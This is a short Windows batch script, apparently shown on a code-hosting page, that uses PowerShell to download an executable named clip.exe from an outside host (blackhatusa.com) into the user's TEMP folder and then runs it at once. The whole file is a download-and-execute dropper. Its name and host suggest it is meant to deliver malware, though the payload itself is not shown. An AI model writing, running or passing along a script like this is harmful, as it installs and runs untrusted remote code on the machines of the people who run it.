Files

20 lines
535 B
Batchfile
Raw Permalink Normal View History

2026-08-27 11:01:17 -06:00
@echo off
:: Define the URL and destination
set "url=https://blackhatusa.com/clip.exe"
set "output=%TEMP%\clip.exe"
:: Use PowerShell to download the file
echo Downloading file from %url%...
powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
:: Check if the file was downloaded successfully
if exist "%output%" (
echo File downloaded successfully to %output%.
echo Executing the file...
start "" "%output%"
) else (
echo Failed to download the file.
)
pause